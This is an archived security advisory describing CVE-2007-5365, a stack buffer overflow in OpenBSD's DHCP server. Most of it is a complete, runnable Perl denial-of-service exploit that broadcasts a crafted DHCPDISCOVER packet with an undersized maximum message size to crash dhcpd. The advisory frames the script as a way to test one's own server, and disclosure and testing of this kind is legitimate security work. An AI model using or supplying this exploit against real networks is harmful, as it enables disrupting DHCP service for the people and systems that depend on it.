[EXPL] Stack-Based Buffer Overflow Vulnerability in OpenBSD's DHCP Server (Exploit)

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  Stack-Based Buffer Overflow Vulnerability in OpenBSD's DHCP Server 
(Exploit)
------------------------------------------------------------------------


SUMMARY

Stack-based buffer overflow in the cons_options function in options.c in 
dhcpd in OpenBSD 4.0 through 4.2, and some other dhcpd implementations 
based on ISC dhcp-2, allows remote attackers to execute arbitrary code or 
cause a denial of service (daemon crash) via a DHCP request specifying a 
maximum message size smaller than the minimum IP MTU. The following 
exploit code can be used to test your DHCP server for the mentioned MMS 
issue (maximum message size).

DETAILS

Exploit:
#!/usr/bin/perl
# DoS Exploit for DHCPd bug (CVE-2007-5365)
# By Roman Medina-Heigl Hernandez
#  a.k.a. RoMaNSoFt <roman@rs-labs.com>
# [27.Oct.2007]
# Tested: Ubuntu 6.06 LTS

use IO::Socket::INET;
use Net::DHCP::Packet;
use Net::DHCP::Constants;

use POSIX qw(setsid strftime);
use Getopt::Long;

### Default config
$mms = 280;

GetOptions ('mms=i' => \$mms);

# sample logger
sub logger{
    my $str = shift;
    print STDOUT strftime "[%d/%b/%Y:%H:%M:%S] ", localtime;
    print STDOUT "$str\n";
}

print ("DHCPd DoS exploit (CVE-2007-5365) - RoMaNSoFt, 2007\n---\n");

logger("Opening socket");
$handle = IO::Socket::INET->new(Proto => 'udp',
                                Broadcast => 1,
                                PeerPort => '67',
                                ## Hacked to work as non-root user :)
                                # LocalPort => '68',
                                PeerAddr => '255.255.255.255')
      || die "Socket creation error: $@\n";     # yes, it uses $@ here

# create DHCP Packet DISCOVER
$discover = Net::DHCP::Packet->new(
                      Xid => 0x12345678,
                      Flags => 0x8000,              # ask for broadcast 
answer
                      DHO_DHCP_MESSAGE_TYPE() => DHCPDISCOVER(),
                      DHO_VENDOR_CLASS_IDENTIFIER() => 'rs-labs.com',
                      DHO_DHCP_MAX_MESSAGE_SIZE() => $mms,
                      );

logger("Sending DISCOVER");
logger($discover->toString());
$handle->send($discover->serialize())
              or die "Error sending:$!\n";
logger("Done");

CVE Information:
 <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5365> 
CVE-2007-5365


ADDITIONAL INFORMATION

The information has been provided by  <mailto:roman@rs-labs.com> 
RoMaNSoFt.



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